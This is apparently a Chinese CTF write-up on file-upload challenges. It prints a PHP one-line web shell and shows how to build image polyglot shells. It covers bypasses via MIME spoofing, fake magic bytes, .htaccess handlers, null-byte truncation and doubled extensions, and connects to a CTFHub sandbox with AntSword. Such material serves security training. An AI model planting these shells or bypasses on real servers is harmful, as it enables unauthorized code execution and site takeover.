当前位置:网站首页>ctf技能树----文件上传
ctf技能树----文件上传
2022-07-28 10:28:00 【jjj34】
前置工具:中国蚁剑
1.正常的一句话木马
<?php
eval($_POST["pass"]);
2.图片马
通过copy进行合成
copy name1.png/b+name2.php/a name3.php
name1 为图片的名字
/b表示二进制文件
name2 为一句话木马文件
/a表示ASCII码文件
name3为合成后的图片名字
上传时需要通过burp_suite修改下Content-Type : image/png
3.禁用JavaScript
在设置中,搜索JavaScript后禁用掉

4.MIME绕过
通过burp_suite修改文件的类型

5.文件头检测
通过burp_suite修改文件头部的标识符,让防火墙误以为是图片

89 50 4E 47即为图片的标识码
6.添加GIF89a绕过

原理就是让防火墙误以为这个是图片
GIF GIF 89A
JPEG(JPG) FFD*FF
PNG 89504E87
小技巧:找到加的位置:在<?php 前放四个+号,然后取Hex中修改

7. 通过.htaccess绕过
构造.htaccess文件
1.匹配文件名当作php执行
<FilesMatch "asdf">
SetHandler application/x-httpd-php
</FilesMatch>2.将png当作php执行(不太好使)
AddType aoolication/x-httpd-php .png8.00截断
发生截断的两个条件:
php< 5.3.4
magic_quotes_gnc = off
题目描述:上传后题目没有返回文件名
说明这道题涉及到重命名的问题,因此,加入截断字符,打断重命名
解法:
1.上传图片马
2.在url栏截断,不让系统重命名

3.访问:
![]()
蚁剑连接:
http://challenge-98be3014d8744500.sandbox.ctfhub.com:10800/upload/1.php9.双写绕过
后缀名写两次,让它删
如.pphphphpp 拆开看:p(php)h(php)p
10.修改文件名解析

看图,源码提示会将文件以python来解析并且只接受后缀名为 .jpg和.png的文件,因此我们调用python中的os库,来执行远程代码执行命令

将文件的后缀名修改下变为 11.png

成功拿到flag
边栏推荐
- C language input string with spaces
- nodejs:搭建express 服务,设置session以及实现退出操作
- AP AUTOSAR platform design 3 architecture
- GKConstantNoiseSource
- 20200229 training match L1 - 2 delete the substring in the string (20 points)
- Go memory model (version on May 31st, 2014)
- PyQt5快速开发与实战 4.11 拖曳与剪贴板
- 从零开始Blazor Server(2)--整合数据库
- Shortest path topic
- Characteristics and installation of non relational database mongodb
猜你喜欢

安装office自定义项 安装期间出错 解决办法

蓝桥杯嵌入式-HAL库-LCD

Excel word simple skills sorting (continuous update ~)

GKSpheresNoiseSource

Two years of crud, two graduates, two months of preparation for the interview with ALI, and fortunately won the offer grading p6
![[application of stack] - infix expression to suffix expression](/img/c1/879716342f6dd5eaa8b79c752eca16.png)
[application of stack] - infix expression to suffix expression

7. MapReduce custom sorting implementation

蓝桥杯电子类嵌入式第十届省赛

蓝桥杯嵌入式-HAL库-ADC

The future of generating confrontation networks in deepfake
随机推荐
GKNoise
GKRidgedNoiseSource
6、MapReduce自定义分区实现
3. MapReduce explanation and source code analysis
从零开始Blazor Server(2)--整合数据库
markdown转成word或者pdf
I don't know how lucky the boy who randomly typed logs is. There must be a lot of overtime
20200217 training match L1 - 7 2019 is coming (20 points)
GKCircleObstacle
AP AUTOSAR platform design 3 architecture
Aike AI frontier promotion (7.28)
GKCylindersNoiseSource
Implement a queue with two stacks [C language]
Install Office customization. Troubleshooting during installation
OCR 知识 概括
FHWY工作日进度表
Yarn报错:Exception message: /bin/bash: line 0: fg: no job control
爱可可AI前沿推介(7.28)
Tensorflow knowledge points
AP AUTOSAR platform design 1-2 introduction, technical scope and method